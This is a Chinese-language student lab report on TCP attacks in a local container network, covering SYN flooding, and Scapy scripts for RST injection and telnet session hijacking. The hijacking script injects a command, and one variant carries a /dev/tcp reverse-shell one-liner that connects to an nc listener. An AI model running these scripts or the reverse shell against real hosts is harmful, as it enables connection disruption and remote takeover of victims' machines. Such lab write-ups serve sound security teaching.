

# 网络空间安全实训实验报告

纪盛谦 57118218 2021-7-10

## Task1 : SYN Flood Attack

在攻击端不使用 SYN Flood 攻击时,从用户 10.9.0.6 向 10.9.0.5 进行 telnet 连接,连接成功并可以进行操作:

```
root@cc1812c8eab7:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Jbuntu 20.04.1 LTS
a01e238b7a8b login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Jul 10 07:57:27 UTC 2021 from user1-10.9.0.6.net-10.9.0.0 on pts
/2
seed@a01e238b7a8b:~$ cd ..
seed@a01e238b7a8b:/home$ ls
seed
seed@a01e238b7a8b:/home$ █
```

而在攻击端使用 SYN Flood 攻击后,再次从用户 10.9.0.6 向 10.9.0.5 进行 telnet 连接,则会连接不上:

```
root@09c80faaff02:/# telnet 10.9.0.5
Trying 10.9.0.5...
```

此时查看 10.9.0.5 的网络连接状况，可以看到它已经被大量的 SYN 连接请求占满，因此无法相应用户 10.9.0.6 发来的 telnet 请求

```
root@a76f2bdd808e:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address          State
tcp      0      0 0.0.0.0:23              0.0.0.0:*                LISTEN
tcp      0      0 127.0.0.11:42721        0.0.0.0:*                LISTEN
tcp      0      0 10.9.0.5:23             223.211.247.53:38035     SYN_RECV
tcp      0      0 10.9.0.5:23             46.19.111.95:42101      SYN_RECV
tcp      0      0 10.9.0.5:23             7.142.216.77:55227      SYN_RECV
tcp      0      0 10.9.0.5:23             150.152.141.70:43099    SYN_RECV
tcp      0      0 10.9.0.5:23             152.12.59.81:45215      SYN_RECV
tcp      0      0 10.9.0.5:23             40.200.204.57:37382     SYN_RECV
tcp      0      0 10.9.0.5:23             243.81.137.111:58922    SYN_RECV
tcp      0      0 10.9.0.5:23             123.160.69.46:13383     SYN_RECV
tcp      0      0 10.9.0.5:23             133.1.220.74:23529      SYN_RECV
tcp      0      0 10.9.0.5:23             137.243.44.77:60045     SYN_RECV
tcp      0      0 10.9.0.5:23             35.146.121.28:46523     SYN_RECV
```

为了观察其记忆能力，我们先从用户 10.9.0.6 向 10.9.0.5 进行 telnet 连接，断开后在服务器端可以看到其记下了连接记录

```
root@ceab2f1565d0:/# ip tcp_metrics show
10.9.0.6 age 63.936sec cwnd 10 rtt 94us rttvar 96us source 10.9.0.5
```

此时再次使用 SYN Flood 攻击，则不会影响 10.9.0.6 向 10.9.0.5 的 telnet 连接，而当我们清除掉连接记录后再次进行 SYN Flood 攻击，则会再次影响其 telnet。

```
root@ceab2f1565d0:/# ip tcp_metrics show
10.9.0.6 age 63.936sec cwnd 10 rtt 94us rttvar 96us source 10.9.0.5
root@ceab2f1565d0:/# ip tcp_metrics flush
```

```
root@09c80faaff02:/# telnet 10.9.0.5
Trying 10.9.0.5...
```

当 SYN cookies 打开的时候，通过实验可得即使没有提前建立过连接，在遭受 SYN Flood 攻击时还是能够 telnet 连接成功。

## Task2: TCP RST 攻击

首先构造 TCP RST 攻击的 python 代码，如下图：

```
#!/usr/bin/env python3
from scapy.all import *

def RST_attack(pkt):
    ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
    tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="R", seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
    pkt = ip/tcp
    ls(pkt)
    send(pkt, verbose=0)

pkt = sniff(iface='br-e59491bf2a77', filter='tcp and src port 23', prn=RST_attack)
~
~
```

在代码中，我们使用实验一中用过的 sniff then spoof 技术，监听源端口为 23 且使用 TCP 协议的报文，这是因为端口 23 是 telnet 服务端口，且 telnet 使用 TCP 协议。当监听到符合筛选规则的报文时，构造原宿 IP 相反、原宿端口相反的报文，使得其 TCP 中 flag 为 R，即 RST 位置 1 表示结束该连接，其 ack 值为原报文中 seq 值加一，seq 值为原报文中 ack 值。之后发送该报文从而使该 telnet 连接断开。

从用户 10.9.0.6 向服务器 10.9.0.5 进行 telnet 连接，连接成功后在攻击者主机上运行 RST 攻击代码：

```
root@VM:/volumes# python3 RST.py
version      : BitField  (4 bits)          = 4              (4)
ihl          : BitField  (4 bits)          = None           (None)
tos          : XByteField = 0              (0)
len          : ShortField = None           (None)
id           : ShortField = 1              (1)
flags        : FlagsField (3 bits)         = <Flag 0 ()>    (<Flag 0 ()>)
frag         : BitField  (13 bits)         = 0              (0)
ttl          : ByteField  = 64             (64)
proto        : ByteEnumField = 6              (0)
chksum       : XShortField = None           (None)
src          : SourceIPField = '10.9.0.6'     (None)
dst          : DestIPField = '10.9.0.5'     (None)
options      : PacketListField = []             ([])
--
sport        : ShortEnumField = 44372          (20)
dport        : ShortEnumField = 23              (80)
seq          : IntField     = 3515386492      (0)
ack          : IntField     = 3173396623      (0)
dataofs      : BitField  (4 bits)         = None           (None)
reserved     : BitField  (3 bits)         = 0              (0)
flags        : FlagsField (9 bits)         = <Flag 4 (R)>    (<Flag 2 (S)>)
)
window       : ShortField  = 8192            (8192)
chksum       : XShortField = None           (None)
urgptr       : ShortField  = 0              (0)
options      : TCPOptionsField = []             (b'')
version      : BitField  (4 bits)          = 4              (4)
ihl          : BitField  (4 bits)          = None           (None)
```

此时在 10.9.0.5 主机的 telnet 上输入指令就会发现连接已经断开了，因为输入指令的时候便会发送 TCP 的 ACK 报文，被攻击者劫持后便会自动发送 RST 报文从而断开连接。

```
root@09c80faaff02:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
ceab2f1565d0 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

seed@ceab2f1565d0:~$ dConnection closed by foreign host.
root@09c80faaff02:/#
```

## Task3: TCP Session Hijacking

首先构造 TCP 会话劫持代码，如下图：



```
seed@VM: ~/.../volumes
#!/usr/bin/env python3
from scapy.all import *

def Session_hijacking(pkt):
    ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
    tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack+10, ack=pkt[TCP].seq+1)
    data = "\r ls > /home/seed/secert.txt \r"
    pkt = ip/tcp/data
    ls(pkt)
    send(pkt, verbose=0)

pkt = sniff(iface='br-e59491bf2a77', filter='tcp and src port 23', prn=Session_hijacking)

~
~
~
~
~
"Session.py" [readonly] 15L, 416C                                     6,76                                     All
```



在代码中，同样使用了 `sniff then spoof` 的方法实现自动化会话劫持。筛选规则与上述 `RST` 攻击相同，但在处理上则使用了不同的函数。这里在检测到符合规则的报文后，构造 IP 相反、端口相反的报文，其中 TCP 的 `flag` 设置为 `A` 表示 `ACK`，`seq` 设置为原报文的 `ack+10`，`ack` 设置为原报文的 `seq+1`，`ack` 的设置是根据 TCP 协议设定的，而 `seq` 的值则是将注入的代码向后挪动 10 位，当服务器端滑动窗口滑动 10 位后自动执行 `data` 中的指令。这里 `data` 设置为 `"\r ls > /home/seed/secert.txt \r"`，其中 `\r` 表示换行符，防止与之前的代码冲突从而影响注入代码的功能，中间注入代码则为将当前目录写入到 `/home/seed` 里的 `secert.txt` 文件，通过检测是否有这个文件及其内容从而判定攻击是否生效。最后将三段报文合并并发送。

从 10.9.0.6 向 10.9.0.5 发送 `telnet` 请求，连接成功后在攻击者主机上执行攻击程序，此时在 10.9.0.6 主机的 `telnet` 上再输入几个字符便到达了攻击代码所在的位置，此时 10.9.0.6 主机的 `telnet` 不能再输入内容，卡死在这里。

```
seed@VM: ~
7b5775dac25a seed-attacker
ceab2f1565d0 victim-10.9.0.5
[07/10/21]seed@VM:~$ docksh 0
root@09c80faaff02:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
ceab2f1565d0 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Jul 10 06:49:41 UTC 2021 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@ceab2f1565d0:~$ ls
a.txt
seed@ceab2f1565d0:~$ cd ..
```

关掉 `telnet` 后，在 10.9.0.5 主机上查看 `/home/seed` 文件夹可以发现其中多了文件 `secret.txt`，且其中的内容是 `home` 文件夹的目录，因为从上图可见在执行注入代码前执行了 `cd..` 命令，当前文件夹从 `seed` 退回到了 `home`。攻击成功。

```
root@ceab2f1565d0:/home/seed# ls
a.txt  secert.txt
root@ceab2f1565d0:/home/seed# cat secert.txt
seed
```

## Task4: Creating Reverse Shell using TCP Session Hijacking

首先尝试使用 Reverse Shell，测试其功能。在攻击者主机使用 nc 监听 9090 端口：

```
root@VM:/volumes# nc -lnv 9090
Listening on 0.0.0.0 9090
```

再在 10.9.0.5 受害者主机上执行"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1"指令：

```
root@a01e238b7a8b:/# /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
```

此时在攻击者主机上可以看到获得了 Reverse Shell，并可以执行任意操作

```
root@VM:/volumes# nc -lnv 9090
Listening on 0.0.0.0 9090

Connection received on 10.9.0.5 58254
root@ceab2f1565d0:/#
root@ceab2f1565d0:/# ls
ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
```

---

构造相应代码，相较于 Task3，只是将执行的指令从 "\r ls > /home/seed/secert.txt \r" 改为 "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r":

```
#!/usr/bin/env python3
from scapy.all import *

def Session_hijacking(pkt):
    ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
    tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack+10, ack=pkt[TCP].seq+1)
    data = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
    pkt = ip/tcp/data
    ls(pkt)
    send(pkt, verbose=0)

pkt = sniff(iface='br-219775e9037b', filter='tcp and src port 23', prn=Session_hijacking)
```

从 10.9.0.6 向 10.9.0.5 进行 telnet 连接，然后在攻击者主机上开两个界面，一个使用 nc 监听 9090 端口，一个运行攻击代码。

```
root@VM:/volumes# python3 R_Shell.py
version      : BitField   (4 bits)          = 4              (4)
ihl          : BitField   (4 bits)          = None           (None)
tos          : XByteField              = 0              (0)
len          : ShortField              = None           (None)
id           : ShortField              = 1              (1)
flags        : FlagsField  (3 bits)        = <Flag 0 ()>    (<Flag 0 ()>)
frag         : BitField   (13 bits)        = 0              (0)
ttl          : ByteField              = 64             (64)
proto        : ByteEnumField            = 6              (0)
chksum       : XShortField             = None           (None)
src          : SourceIPField           = '10.9.0.6'     (None)
dst          : DestIPField             = '10.9.0.5'     (None)
options      : PacketListField          = []             ([])
--
sport        : ShortEnumField           = 44442          (20)
```

```
root@VM:/volumes# nc -lnv 9090
Listening on 0.0.0.0 9090
```

此时再次在 10.9.0.6 主机的 telnet 上再输入几个字符便到达了攻击代码所在的位置，此时 10.9.0.6 主机的 telnet 不能再输入内容，卡死在这里。

```
root@cc1812c8eab7:~# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
a01e238b7a8b login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

seed@a01e238b7a8b:~$ ls
seed@a01e238b7a8b:~$ cd ..
```

此时攻击者 nc 的窗口便获得了 reverse shell，可以对目标机器进行操作，攻击成功。

```
root@VM:/volumes# nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 58292
seed@a01e238b7a8b:/home$ cd home
cd home
bash: cd: home: No such file or directory
seed@a01e238b7a8b:/home$ ls
ls
seed
seed@a01e238b7a8b:/home$ █
```